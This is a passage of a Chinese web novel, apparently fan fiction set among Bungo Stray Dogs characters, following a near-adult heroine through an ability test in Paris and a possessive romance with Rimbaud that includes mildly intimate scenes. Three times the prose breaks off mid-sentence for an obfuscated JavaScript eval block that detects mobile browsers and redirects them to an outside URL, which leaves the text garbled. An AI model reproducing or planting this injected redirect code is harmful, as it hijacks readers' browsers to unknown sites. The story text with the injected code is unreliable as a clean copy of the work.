选择权永远在我手里,我是否选择走向兰波之前,兰波并不会跨过无形的线。 在这方面,我十分信任兰波。 11. 测试 在兰波的陪伴与教导下,我逐渐熟悉了在法国的生活,异能力也逐渐归于波澜无起的正常状态,人类与鲛人两种形态也逐渐掌握。 而就在我来到法国第三个月,法国的冬末初春来临之时,兰波方才与我说,他的老师希望能为我做异能力测试,同时也希望能与我见面。 “老师?见我?”我下意识跟兰波一样叫起来老师。 兰波失笑,亲昵抱住我,我顺着兰波揽着我的手坐在兰波腿上。 兰波很高,接近一米九,虽然我也不矮,而且今年还长了一点,但可以肯定,在停止生长之前除非服下什么灵丹妙药,否则我是不可能比兰波还高的,这一点我已经求证过系统了。 系统有些心虚:【最开始其实就按照成年跟少年两种形态比对着捏脸的,还有身体,但系统是无性的哦,所以宿主不用担心系统耍流氓。】 【按照成年身体的情况来讲,宿主最高也就能长到一米八,再高那就要看有没有什么其他世界的奇遇之类的了。】系统如实道。 我对自己的身高倒是很满意,目前就有一米七了,长到一米八那就更好了,只不过系统帮忙限制着身体成长速度,避免我会因为过快的成长导致生长痛。 贴心的统,爱它。 我坐在兰波腿上,兰波亲昵抱着我,含笑与我说:“琉璃直接叫名字就好了,不用跟我一样的。” 不然我可是会生出一些不该有的心思,让原本已经稳定的关系重新波动起来的。 注视着越发活泼的妹妹,兰波笑吟吟道:“波德莱尔,琉璃直呼名字就好,毕竟就算老师不高兴,也不会对琉璃做什么。” 既然兰波如此说,我便也信了,正想问问兰波要不要带些小礼物之类的过去拜访,便见莉诺女士将我的手机送到了面前。 我接过手机,歪在兰波身上,手指卷着兰波的头发,开口询问:“你好?” 白鹭编辑简直要落下眼泪来了,立即起身恭敬道:“明镜老师!是我,白鹭!” 我愣了一下,想起白鹭是谁后有些心虚,对兰波比了个口型,而后方才直起身笑道:“白鹭编辑啊,是有什么事吗?文稿要修改?还是有什么旁的需要我过目的?” 白鹭编辑落下眼泪:“老师!是这样的!您发布的书籍【恶兽】共刊印四次,首刊一次,加刊三次,共发行七百万部,畅销海外!目前读者反响激烈,社长希望能与您商定亲签会举办事宜,但在下前往您的住所,却没有见到您,这才冒昧寻找您的联系方式,不知道是否打扰了您?” 白鹭编辑的话让我回想起那一篇废掉的文稿,只觉眼前一黑,立即便反驳:“抱歉啊,我目前跟哥哥前往法国定居,亲签会还是算了吧。” 白鹭编辑当即心就碎了一半,但由于反响实在激烈,所以他挣扎道:“亲签会不行的话,那能不能请您为特别出售的书籍签名呢?而且法国也没关系的,法国的话,在下也可以随时前往,毕竟您之后还要写作的吧?” 我沉默了,全程在一旁听着电话的兰波抿唇轻笑,接过电话后不知道与对面的白鹭编辑说了些什么,将已经挂掉的电话还给我后方对我说:“恶兽,似乎的确有听过同僚提过的样子。” 我保持着珍贵的沉默,不想跟偶尔变得恶劣的兰波说话。 兰波见状,只能失望的收起还没有说出口的话,转而认真道:“编辑那边之后交给莉诺就好,莉诺从前是老师的继父放到老师身边照顾老师的,见多识广,应付一个小编辑,让莉诺去就足够了,琉璃日后要看向的,是世界之上的强者,而不是止步于远东之地。” 听得出来,兰波对于日本观感真的平平。 同样对日本观感平平的我脸上流露出些许赞同之意,嘴上却糊弄兰波:“是的,我们要朝着世界的美食前进……” 兰波无奈摇摇头,心里知道琉璃是随口开玩笑,倒也没说什么,只是与我一同将这个插曲略过不提。 本来也没什么好提的,毕竟当时我是在兰波三五年内不会恢复记忆,才想着尝试写作这样的安全工作,如今兰波都恢复记忆了,我也确定自己不适合写作了,自然没有必要为难自己。 毕竟左边是为难自己,而后锻炼出优秀的能力保护自己,右边是为难自己,锻炼出不一定优秀的写作能力然后……用笔戳死敌方。 用屁股想我也知道我该选哪边啊。 更别说我是用脑子想的。 “波德莱尔虽然因为异能力的原因所以对待旁人冷漠了些,但是对待亲近之人还是很温和的。” 我看着面前这个白发红眼,冷冷打量着我的长发男人,再想起兰波的那句话,只想转头问兰波:骗我有什么好处! 波德莱尔微微皱眉,但碍于亚洲人显小的面容,他还是先看了看手中的资料,确认这个小姑娘马上就要成年了,而后方才开口冷声道:“夏尔.波德莱尔,感谢你救下我不争气的弟子。” 清冷的声音吐出的法语让人沉醉,可是我喜欢的是兰波这样阴郁清俊的美人,所以对这位波德莱尔先生也只是礼貌颔首:“您好,波德莱尔先生,我是琉璃,藤原琉璃,至于兰波,我认为并不是我救下了他,即便没有我,他也能平安,相反的,没有他我才是需要考虑如何生存的那个。” 说到这里,我便想看看兰波,但很可惜,兰波的身影被这位白发先生挡下,我也只能失望的收回目光,继续与这位先生对峙。 “真是个乖孩子。”酒红色短发、唇下一颗小痣的男人不知何时便站在我身后,对我友善笑笑,轻轻拍了拍我的头,而后从我身边宛若飘过一样坐到波德莱尔身边,对我眨了眨眼,而后对波尔莱尔说:“夏尔,吓唬小孩子也克制一下,不要这么偏心嘛,之前圣埃克苏佩里传回来的消息我们还没有验证呢,今天正好到了这么多人,大家一起看看这位小小姐觉醒的异能力能不能拥有超越者的头衔好了。” 不知何时,与兰波一样坐在波德莱尔身后的众人展露真容,兰波眼神安抚着我,而我只觉得这些超越者是不是看了什么恐怖电影,不然怎么会这么无聊跑过来吓唬我。 波德莱尔又看向了我,那双如同鸽血红宝石一样璀璨的眼瞳中不知何时褪去了冰冷,转而代之的是中正平和的审视之意。 面容柔美但却不会让人错认性别的蓝发男人坐在波德莱尔身边,对我点头示意,另一位则坐在波德莱尔与蓝发男人中间,有着浅紫色的头发,坐在波德莱尔手边的便是先前一直被波德莱尔有意挡住的兰波,其余众人之中我只见过一位圣埃克苏佩里和魏尔伦,余下十几人便没有我所熟知的面孔了。 有着浅紫色头发的雨果微微侧头看向波德莱尔,微微抬了抬下巴:“怎么样?” 有没有能成为超越者的潜力? 波德莱尔冷冷道:“勉勉强强吧。” 雨果轻笑道:“那就是有了,资料呢?我刚从外面回来,还没看过。” 先前也没见到人,就看到了一张照片,今天见到人了,资料却没见到,还是听公社内另外几位年轻超越者说兰波这个带回来的妹妹有点超越者的潜力才过来的。 不然身为巴黎公社的领头人,雨果要忙的事情还是很多的。 虽然翘班的次数也很多,但这跟上面发下来的工作多有什么关系,能翘班是他雨果的本事,抓不到他那是法国工作人员的无能。 波德莱尔想起刚刚还在心里说自己眼睛跟鸽血红宝石一样璀璨夺目的那个孩子,难得夸了一句:“还算不错。” 的确拥有能够成为超越者的潜力……但也只是潜力,具体如何还要看测试的结果。 大仲马吸了一口烟,而后平静道:“开始测试,测试过后一切就都能一目了然了。” 问有个屁用,直接测试,我们要看过程跟结果。 听着那边嘈杂的声音,我从一开始的紧张,慢慢放松起来,不知不觉倒是发起了呆。 魏尔伦夸赞道:“不愧是琉璃,就算是发呆都让人心动无比……” 兰波冷冷看了一眼魏尔伦,而后轻轻碰了碰身边的老师。 屡次被这个学生背刺的波德莱尔沉默了一瞬,而后轻轻敲了敲桌子:“好了,琉璃小姐,请开始准备测试吧。” 说着,这位白发红眼,面容俊美体型高大的男人便伸手用一丛丛含苞待放的花将我围住。 我顿了顿:“如何测试呢?” 雨果温和道:“尽情使用你的能力,这里这么多位超越者,如果阻拦不了你的话,那就是天大的笑话了。” 魏尔伦平静道:“英国人会特意发来贺电的笑话。” 一句话,成功让法国人为你红脸。 魏尔伦显然深修过语言的艺术,但显然,比起群殴魏尔伦,更重要的还是异能力测试。 系统提醒我:【你展现出来的是治愈能力,鲛人形态可以控制一部分的天气与海水,只不过距离上有所限制,声音如果不注意控制也可以蛊惑他人心智……但超越者对此有抵抗力,多余 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15075314|163346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的一定不要暴露啊!】 我化成鲛人形态,空气中的水汽被我所操控,化为包裹鱼尾的柔和水流,庞大的会议室之外,也传来阵阵雷鸣之声,室内凭空生出小型龙卷风,我本来还想克制一二,波德莱尔却抱胸道:“释放你的能力,不要克制,只有确定你的能力范围,兰波与我才能为你制定训练计划。” 我犹豫了一下,见兰波没有反应,方才按照鲛人的传承记忆唱起未知的歌谣,屋外雷鸣作响,暴雨顷刻浸湿整片土地,水流包裹住我,同样也静静的来到了其他超越者身边。 有的超越者翘首以盼,有的静静观察、评估,还有的与水流做着游戏…… 我并不在意,轻轻伸手将龙卷风变大,龙卷风席卷水流变成水龙卷,将周边的花丛撞开,跑出了会场,将整片会场都变得狼狈不堪、建筑凋零。 直到波德莱尔叫停,我方才控制龙卷风停下。 兰波撑起一片暗红色的亚空间障壁防止雨水浸湿自己,起身朝着琉璃走去。 其他超越者也各显神通,有的用异能力直接遮挡,有的召唤出异能力创造之物,还有的不知何时身边多出异能力人偶为其撑伞,总之大家都平安无事。 雨果有些失望:“如果是这样的杀伤力,只能算是超越者预备役吧?” 能控制天气、海水、一部分的淡水、龙卷风、还能以歌声惑人心智,的确不错,但也仅限于不错,并没有到达能让人眼前一亮的状态。 波德莱尔察觉到他人投来的目光,看着不争气的学生带着那位娇小的琉璃小姐走来,平静道:“她的眼泪可以化成珍珠,能够断肢再生,重伤之人能变为轻伤,而一位治疗异能力者还同时拥有这样的自保能力,还需要我多说什么吗?” 我被兰波牵着手走近后,看着众人火热的目光,犹疑道:“是有什么不对的地方吗?” 雨果身为领头人,头一个开口询问:“听说你有治疗的能力,能哭两颗珍珠出来吗?” 我心下了然,在兰波拿着的外套里掏了掏,掏出个洋葱,边剥边问:“伤者在哪里?” 雨果看向波德莱尔,既然波德莱尔开口,那必然是已经准备好了伤者做实验。 什么?没有人道主义? 能过来为一位治疗型异能力者做测试,成功那就成了正常人,失败也能得到一笔奖金,这种时候人道主义有什么用? 吃进嘴里咽进肚子里的利益才是最实在的。 洋葱的辛辣让我的眼泪不停落下,我一手拿洋葱,一手拿了个盒子来装那些珍珠,嘴上不忘与兰波吐槽:“所以明明我自己都对异能力一知半解的,你就这么信任我啊?” 兰波肯定道:“因为我对琉璃与琉璃对我都是一样的,我们早就达成了共识,不是吗?” 边说,他边将洋葱随手扔到一旁,又拿了手帕将我的眼泪擦干,随手挑出盒子里的一颗珍珠交给波德莱尔后,面对波德莱尔沉默的模样将一盒珍珠放到我怀里,理直气壮道:“老师,快让人进来啊,不会是因为刚刚测试把人吓跑了吧?” 伏尔泰在一旁憋笑,雨果轻咳两声,捅了捅波德莱尔,小声说:“测试要紧,回去再教训孩子。” 波德莱尔深吸一口气,发了条短信出去,几分钟后便有一位左小臂被削去的短发女士走了过来。 我擦着眼泪,坐在原本兰波的位置上,兰波随机挤走一个同僚坐在妹妹身边,而后注视着那位女士在拿到珍珠后不知所措的模样,兰波提醒道:“捏碎就好了,珍珠不像表面一样坚硬。” 女士颔首,捏碎珍珠后,浅浅的白光便包裹住女士全身,所有人都能看到这位女士原本的小臂从骨头到静脉再到血肉缓缓生长出来的模样。 直到小臂完全生长出来,那一道白光才缓缓消失。 众人双眼放光,那位女士在来之前也知道自己要做什么,将袖子挽起,抬手、伸手、拿取物品,尝试与身旁之人测试身手…… 从日常的行动到职业精细操作,都宛若自己从前的手臂一样,甚至…… “那道白光包裹着我的身体,我的身体似乎有些不适之处也被治愈了,灵敏度也提高了,我确定这并不是错觉。” 测试结束后,那位女士说出自己的观感后,便被人带了下去。 而我对此则选择质问系统。 系统困惑道:【对啊,没错啊,说了不能治愈疾病,但能治愈的伤自然也包含暗伤啊,没错啊。】 系统!你又坑我! 12. 至深 成功拿到了一个超越者预备役的头衔,并领到了一张工资卡后,我吹着口哨看着兰波幽怨的眼神,好半晌方才心虚道:“这个我是真的不知道啊!” 毕竟我也没受过那么重的伤,压根就没尝试过那个珍珠有什么用,而且我自从来了法国之后能使用到异能力的情况简直就是少之又少,只要兰波在,几乎没有什么我能使用异能力的情况。 波德莱尔开着车,平静道:“很正常,异能力只有使用才能知晓真正的作用,这没什么,或者换句话来说,这并非惊吓,而是惊喜,所以你不用心虚。” 波德莱尔的声音低哑,嘴里叼着一根并未点燃的细烟,瞧着并不像最初那般冷漠。 我察觉的出来,但并不知晓原因,也并不打算去询问,毕竟说句实话,即便是如今,我也跟这位波德莱尔先生没有什么关系,我与他之间的联系仅仅就是兰波而已。 而且如今的我并非是当时还在法国的我,我并不需要再想法设法抱大腿,求得一位超越者的庇护,所以我那面对陌生人便下意识先沉默的习惯便又带了出来。 兰波轻笑,右手轻轻拍了拍我的肩安抚我,嘴上则问:“老师对这件事还是深有感悟的,不过说来也是,异能力不使用是永远都不知晓到底有什么隐藏能力的。” 波德莱尔驾驶汽车到达兰波的庄园,平静道:“但是除了异能力,异能力者本身的体质与身手也是不可忽略的部分,魏尔伦那个弟弟不就是如此。” 兰波跟魏尔伦火速和解的样子波德莱尔想起来便要生气一次,但兰波这个当事人都没说什么,波德莱尔也不好插手,只能偶尔冷嘲热讽两句。 至于任务里下黑手?波德莱尔自认自己还没有下作到那种地步。 我在一旁与兰波眉来眼去,默不作声。 毕竟一个是兰波多年的搭档,被背刺了也就是一怒之下打了一架,另一个是这段时间也算是经常被魏尔伦关照的妹妹/朋友,自然也不好多说什么。 幸好波德莱尔只是顺带提了一嘴,不然我大概会思考要找个什么借口才能离开这儿了。 进入城堡一楼的待客室后,兰波熟练接过我身上刚刚脱下的外套放到一旁,我则是脚步轻快走到一旁的单人沙发上坐下喝茶。 直到看见波德莱尔微微挑眉的模样时,方才恍然想起还有正事要说。 波德莱尔翘着二郎腿,白色柔顺的长发松拢在身后,身上穿着修身的黑色浅棕色风衣,风衣外套脱下后才能看见波德莱尔里面的衬衫外还套了件马甲,但区别于古板的绅士风格,领带用着十分活泼的嫩绿色。 我心里想着,跟我的眼睛颜色很像,只不过布料质感跟眼瞳的水润质感还是有所不同。 波德莱尔似乎是看见杯中不再是红茶而是陌生的茉莉花茶所以愣了一下,我心虚道:“莉诺女士!泡一壶红茶来吧!” 其实莉诺说过,我直呼她的名字就足够了,但我个人习惯原因,所以还是喜欢称呼她为莉诺女士。 波德莱尔微微抬手制止:“好了,喝什么不重要。” 言罢,波德莱尔又盯着我,平静说着让我身体一僵的话。 “我最开始并不喜欢你,因为我认为你用了手段蛊惑了兰波。” 兰波正要开口反驳,波德莱尔便平静道:“可惜,我请了其他异能力者来查探,也并没有查探出什么异常,或许是你的确没做什么,只是我这个学生昏了头,或许你的确做了什么,只是手段高超我们查不出来。” 波德莱尔放下手中的茶杯,看向了我,我微微皱眉,但却并不反感,其一便是我的确没做什么,其二便是如果我的好友带回来一个陌生人说自己以后要一直养着他,我也会生气,所以波德莱尔谨慎的态度在我心里也只是惊起了一点波澜。 当然了,虽然我没出手,但我的异能力是被动的呀,虽然我的朋友这么做我也会生气,可我根本没有朋友呀。 最重要的是,这件事我的确做了,所以只有心虚没有愤怒也是正常的。 我直直看向波德莱尔,被他的容貌晃了一下眼睛,而后方才开口:“这很正常,毕竟我与您从前并没有牵扯,如今你我之间唯一的联系也只是因为兰波而已。” 所以你讨厌我也无所谓,厌烦我也无所谓,因为我们本来就毫无干系。 波德莱尔心里倒是难得起了些兴趣,意味不明道:“或许吧,不过既然成了法国人,那日后我们的联系自然少不了。” 毕竟一个是法国超越者的领头人之一,另一个是这位领头人学生的救命恩人、被认定的妹妹、超越者预备役、如今法国唯一一位能够上超越者的治疗型异能力者。 两边剪不断理还乱的关系日后只会牵扯的越发紧密,压根不可能分开。 就算兰波死了,法国都不可能放任藤原琉璃离开。 闲谈过后,波德莱尔方才与兰波说起如何安排我的正事。 “进入巴黎公社这个提议之前我也跟你说过。”波德莱尔摸了摸烟盒,警告自己在场还有未成年人方才强忍住烟瘾,再看看自己的学生那副不赞成的样子,垂眼淡淡道:“既然不打算加入巴黎公社,那就挂个名,日后有什么事我才能插手。” 我有些惊讶,但兰波似乎早有准备,替我答应了这件事。 毕竟先前我们便说好了,不加入,那就挂名,之后有什么我必须做的事我可以斟酌着去做,有什么报酬令我满意的任务我也可以接下,最重要的是,挂名在巴黎公社名下,那我便能得到庇护,毕竟一位辅助治疗异能力者,谁敢说自己绝对求不到我身上? 医生朋友多,就是这个道理。 虽然我的能力不能治疗疾病,但总有受伤的人过来寻找我,到时候只要我点头,人脉、钱财,要什么没有? 见兰波点头后我也是默认姿态,肉眼可见波德莱尔的脸色温和下来,他继续与我定下了契约,其中包含我每个月上交多少珍珠可以得到多少钱财,多余的额外计算有多少要多少,公社内部成员受伤需要治疗时我大致可以得到的报酬等等。 不得不说,没有没落的法国不愧是能跟英国互怼的存在,真的很有些财大气粗的感觉。 每个月我只需要上交十颗珍珠,就能得到一百万法郎,相当于一颗珍珠等于十万法郎。 我知道这肯定有得赚,那又如何?钱对于目前的我而言算不得什么,能以此得到巴黎公社的庇护,才是我所需要的。 苟,才是长久之道。 我如此想。 正事谈妥了,波德莱尔方才开始测试我的体能如何,并在兰波的训练菜单上重新更改出一份崭新的训练菜单,并对我说:“希望你在三个月之内就能让我重新来给你更换菜单,如果三个月做不到的话,就让兰波将你送到我身边锻炼。” 我整个人都呆住了,波德莱尔见了,难得在我面前露出个笑,宛若冬日里最娇艳的红梅初绽一样,“我可没有开玩笑哦。” 言罢,波德莱尔便转身离开,并让兰波今天开始就使用新的训练菜单。 我看着上面密密麻麻只留出吃饭休息的菜单,当即便倒在兰波身上,呆愣愣道:“我现在离开还来得及吗?” 兰波抱着我稳稳的回了我的房间,胸腔在我脸旁震动着,笑意不必我抬头便能听得出来:“来不及了哦,你要是离开的话,即便你去往天涯海角,我也会将你带回法国的。” “后悔了吗?”兰波轻声询问。 “是啊,后悔了。”我肯定道,待兰波将我放到床上,静静看着我的时候,又忍不住笑道:“但是有兰波在,所以我又不后悔。” 兰波缓缓笑道:“是吗?那琉璃能不能告诉我,你为什么见到老师的时候,目不转睛的盯着老师看呢?” 我先是愣了一下,而后仔细回想自己有这么做吗? 兰波幽幽道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15075315|163346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “有哦,长了眼睛的都能看出来呢,你知道保罗怎么说我吗?他说我啊,还不如当初将你送到他身边,你绝对不会在保罗做你哥哥的时候还盯着旁人看。” 兰波的头发吹落在我身上,恰恰有那么几缕调皮的头发吹落在我胸前那一小片裸露的皮肤处,落在我的脖颈上,让我不自觉笑了出来。 “又变成男鬼了呢,兰波。”我亲昵道。 兰波轻哼一声,将我的手放到嘴边,轻轻咬了一下指尖,恼道:“我要真是男鬼,一定要拉着你一起下地狱,让你一直跟着我,眼睛永远不许离开我。” 整齐的牙齿摩擦着指尖的血肉,湿润的唇齿又将我的手也变得湿漉漉、黏糊糊的,他虽然不曾用力,甚至连一个牙印都不曾留下,但我与他均心知肚明,他是真心实意的。 他似乎是想将我吞吃入腹一般,咬着我的指尖,顺着纸尖咬着手背、小臂……直到脖颈。 留下一串稍有些刺痛但并未留下痕迹、只能看见水渍的路线。 他注视着我,像是等待我阻止他一般,可我什么都不做,他反倒主动停下,最后叹道:“你啊你啊,让我如何对待才好呢?” 边说,他边像是不解气似的,留下个浅浅的齿痕。 转瞬即逝。 我抬手环住兰波的脖子,拉着兰波一起倒在床上,而后枕着兰波柔软的小腹,把玩着兰波的手:“所以兰波为什么生气呢?爱美之心人皆有之啊。” 兰波轻叹:“那难道是我年老色衰?人老珠黄?” 知道我喜欢花国文化,兰波也私下悄悄补习,现在也算学有所成。 我思索片刻,而后方才正色道:“大概是因为兰波跟波德莱尔先生是不一样的美,而我欣赏所有的美……” 眼见兰波因为我提到波德莱尔时生疏的称呼而好转的脸色又阴郁下去,我才轻笑道:“但我最喜欢兰波的美了。” “清俊、阴郁,兰波就像是我当年跟友人前往南方小镇时连绵不断敲打着屋檐与青石板的细雨一样。” 我伸手描绘着兰波的容貌,即便闭眼也能靠着熟知而从一堆人里准确找出兰堂。 微微皱着的眉眼,清瘦的脸庞,挺直的鼻梁,柔软的薄唇…… 还有那一双藏着心事的双眸。 “我似乎没有跟兰波说过,我最喜欢的就是连绵细雨。”我转过身盯着兰波,缓缓笑道:“细雨连绵不断打落在地面上,就像兰波看向我时的双眸一样,似乎总是带着心事。” 兰波伸手护着少女,眼中的忧郁在毫无察觉的情况下消散,转而代之的是不自知的自得。 看呀,我如此被她所喜爱着,这是任何一个人都比不了的。 这是我独有的。 兰波如此肯定着。 “当然啦。”我打了个哈欠,忙了小半天也觉得有些困倦,想想下午还有那些需要去完成的菜单,感觉更是恨不得当即就跑路,但谁让兰波还在这儿呢。 “兰波如此没有安全感,也是我做的不够好。”我亲了亲兰波的眉间,而后轻笑道:“我好像还没说过,我最喜欢兰波了。” 我郑重道:“我爱兰波。” 我怎么能不爱他呢?他如此高洁,面对我时却又如此自卑,可分明我才是那个手段百出的卑劣者,他却将我视作神明一般,仰首看着我,注视我,却又不敢靠近我。 兰波微微睁大双眼,瞳孔微微颤动着,好像我说了什么超出认知的话一样。 我轻轻亲了一下他,他的嘴唇柔软,却又因为方才的举动有些湿润,我捧着兰波的脸,笑吟吟道:“我爱兰波,兰波呢?” 兰波认真又坚定道:“我也爱你,我爱琉璃。” 感情深入骨髓时,我与兰波能说出让彼此落泪的情话,可等到这种时候,我与兰波却仿佛张不开口,成为了哑巴一样。 好像爱到深处,也只有这一句话能概括一切情感。 13. 爱人 兰波是一个很好的兄长,同时也是一个很好的老师。 虽然系统认为我这是被蒙蔽了双眼,但我并不觉得有哪里说错了。 顶天也就是美化了一点点兰波的行为而已,但兰波的确温柔又可靠。 兰波始终都是温柔又坚定的存在,虽然系统经常没有眼色的点评兰波是男鬼,可那又如何呢,这样浓烈执着又让人刻骨铭心难以忘记的感情才是我所需要的啊! 系统对此称呼我与兰波是半斤八两,天生一对。 兰波困惑地看向不知为何突兀笑出来的琉璃,“怎么突然笑起来了?” 兰波是波德莱尔带出来,拥有法国绅士特质的男性,又是法国谍报员,所以喜怒哀乐都极为克制,即便是私下里,情绪起伏过大的时候也极少。 与我是不大一样的,我平日里便是想笑便笑想哭边哭的性子,从前初来异世还会克制些,可等到后来被兰波带着,反倒越来越放松了。 是好是坏我也说不清,但总归有兰波在,我是安心的。 我靠在兰波身上,闷笑道:“突然想起从前有位友人说,能跟我这样的家伙志同道合的人跟我是天生一对,半斤八两,又想起兰波,便笑了出来。” 我沉吟片刻,对眼含笑意的兰波随意道:“兰波之于我,大概是我只要看见你,就能发自内心笑出来的关系吧。” 兰波也随意道:“那我见到琉璃,大概就是想要将琉璃藏进盒子里放进血肉中的关系了。” 法国的春天带着微凉的寒意,若是在清早出门,你会感觉自己被一层仿佛拥有实体的水雾糊了满脸,若是在夜晚出门,你会觉得自己不是在初春,而是在温暖的晚冬,可你若是在白日里出门,你便只需要一件风衣,便能穿着轻薄的衣裳、长裙潇洒走在街上。 魏尔伦抱着身穿牛仔背带裤的中也,我则被魏尔伦牵着衣袖。 这段时日兰波停止待查的结果出来了,显然,兰波成功官复原职,还因为带回了我与中也更受重视,尤其是中也。 是的,重点不是我,毕竟能替代我的异能力者并非没有,我只是法国目前所有治愈型异能力者之中能力最为卓越的,但对于法国而言,他们并不缺能力稍差的治愈型异能力者,相反的,魏尔伦在成为了中也的监护人后,肉眼可见的更为拟人了,跟从前那副失控的样子简直就像是两个人一般。 以上为波德莱尔语。 虽然兰波并不这么认为,并坚定不移的跟我说魏尔伦是个好孩子,如今已经学会了什么叫感情,可我也不可否认,波德莱尔的确是对的,魏尔伦的确有些拟人,但兰波也是正确的,魏尔伦的确有在慢慢理解什么是感情,什么是人类。 魏尔伦抱着中也,见我停留在一家珠宝店门外,细细观察着珠宝,便询问我:“是想买新的首饰吗?” 我摇摇头,抿唇笑道:“我想给兰波买一对袖扣,不知道这里有没有跟兰波眼睛一样的宝石……” 中也用生涩的法语提议道:“那就进去看看好了,琉璃大姐……” 我瞪了中也一眼,中也连忙改口:“琉璃姐本来就是出来逛街的。” 魏尔伦也赞同道:“你送什么,兰波都会喜欢的。” 说着,魏尔伦便将中也放下,跟在我身后进了这家珠宝店。 我并没有仔细查看名字,而是询问系统,确定这里也算是一家几十年的老店,质量有保证后,这才前往柜台询问是否有金绿色的宝石。 负责打理柜员的是一位三十岁左右,打扮时尚的女士,她见我开口,便对我温和道:“您要拿来做什么呢?耳坠?项链?戒指?” 我从手包之中拿出一张悄悄背着兰波,但也不确定兰波有没有发现的袖扣设计图递给这位女士,而后轻快笑道:“我想要送给……我的爱人,他有着金绿色的眼眸,所以我希望能送给他一对同样颜色的袖扣,如果没有的话,像我眼睛一样的嫩绿色也可以。” 柜员心下了然,对比设计图寻找出了几颗样品宝石,在我选定其中一颗后,方将另一颗拿出来,询问我是否合心。 在我选定,交付定金约好时间后,魏尔伦方才移开眼睛,牵着中也的手询问我:“兰波的生日还没有到吧,要以什么理由送出去呢?” 我愣了一下,反问魏尔伦:“为什么一定需要什么理由呢?我只是想送给兰波,看见他开心而已。” 见魏尔伦一知半解,我便微微仰头看向魏尔伦:“魏尔伦如何看待兰波呢?” 魏尔伦注视中也时柔和的双眸就像兰波注视我时一样,这对搭档想要告知彼此的心意,最后似乎也传达到了,但他们却也或多或少改变了,只不过这改变都是朝着好的方向去的。 但他们究竟是如何看待彼此的呢? 我很是好奇。 魏尔伦看着身旁相较于初次见面时身体多了些轻薄肌肉的少女,并未隐瞒:“大概是亲友吧。” 兰波将自己带离牧神,又与自己交换了名字,一点点带领自己熟悉这个世界,他将与自己初见那日定为自己的生日。 一个小小的布丁、一瓶葡萄酒、还有……自己头上如今戴着的帽子,都是兰波带给自己的礼物。 或许从前也是爱着兰波的,可正因为爱,所以当时不理解爱的自己反而不明白自己心中的未知情绪是什么,才会因为唯一一个爱着自己的人也不理解自己而感到难过。 才会在异国他乡,在明知道自己选择背刺兰波后可能会被通缉的情况下依旧选择解救那个孩子。 是亲人,是友人,是搭档,也是一切还未曾萌芽便因为冒失举动而擦肩而过却也各自安好的爱人。 魏尔伦面庞俊美,甚至被称为北欧的神明,但对于魏尔伦而言,容貌无关紧要。 毕竟在牧神手里,容貌并不能让自己平安生存,实力才是一切。 魏尔伦目光柔和,看着面前的少女,看着或许也能被自己称为妹妹的存在,轻声道:“我与兰波是多年的搭档,是彼此交托信任的亲友,也是日后会并肩作战的同僚,从前我们互相不理解,为此生出许多误会,后来因为误会分开,因为你而重聚,但……” “误会造就了我们,而你给我们带来的是新的希望与未来。” 魏尔伦保证,如果全由自己去做,从前的自己大概只有在兰波或者中也其中一个死去时才会真正的领悟到兰波想让自己领悟之事。 可那时为时已晚,还不如大家如今平安生活在一起,即便从前小有缺憾,却也不会让未来与现在有所遗憾。 【爱人,他在说爱人。】系统质疑到:【兰波是不是跟魏尔伦有一腿?不然他怎么用词这么暧昧!】 爱人这种词是能随意用的吗?兰波那家伙不会是骗琉璃感情吧?! 系统震惊,系统质疑,系统暴怒。 我迅速安抚系统:【他们都是法国人,法国人说话暧昧也是正常的……】 想起兰波从前总是自带淅沥小雨的双眸,我又难得当了一回恋爱脑:【就算真的有什么关系,又如何呢,总归现在兰波是我的,他的人是我的,爱是我的,就算日后我们两不相见,那他的恨也只能是我的。】 系统不可置信:【琉璃!都怪兰波!他都把你带坏了!不要学他啊!那是男鬼啊!】 我微微目移,就是说,有没有一种可能,我本来就是个黑心的,只不过之前谁都不敢相信,这才藏得深了一点。 现在能放松了,对系统这个日后几乎要跟我同生共死的小伙伴我自然也不能一直瞒着。 魏尔伦与我说过这些语焉不详的往事后,又伸手揉了揉我的头,他眼中温柔的包容之意就像是轻轻包容着我的水流一样,让我不自觉便跟随着他的脚步走向街边的长椅上坐下。 “兰波跟我是一样的,我们从前一样偏执,一样固执,一样认为没有什么是我们做不到的,毕竟我跟他在一起,是能令整个欧洲闻风丧胆的谍报员组合,可是后来那一场误会,我偏执的想将中也送到一处无人知晓他过去的地方让中也平安长大,兰波则偏执的想将我与中也都带回法国……” 魏尔伦抬手挡住柔和的阳光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15075316|163346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“我与他对彼此的爱,是偏执的,他包容着我,可我却并不理解,直到此刻我理解,但我们的爱却也都转移到了各自所在意的人身上。” 